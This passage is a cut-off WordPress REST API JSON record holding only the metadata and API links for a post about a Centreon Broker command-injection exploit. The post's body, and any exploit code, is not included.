minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=24902#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=24902"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection_PACKETSTORM:211222","datePublished":"2025-11-05T11:46:36+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=24902"},"wordCount":1955,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.2","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=24902#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=24902","url":"https:\/\/zero.redgem.net\/?p=24902","name":"\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection_PACKETSTORM:211222 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-11-05T11:46:36+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=24902#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=24902"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=24902#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection_PACKETSTORM:211222"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/24902","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=24902"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/24902\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=24902"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=24902"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=24902"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}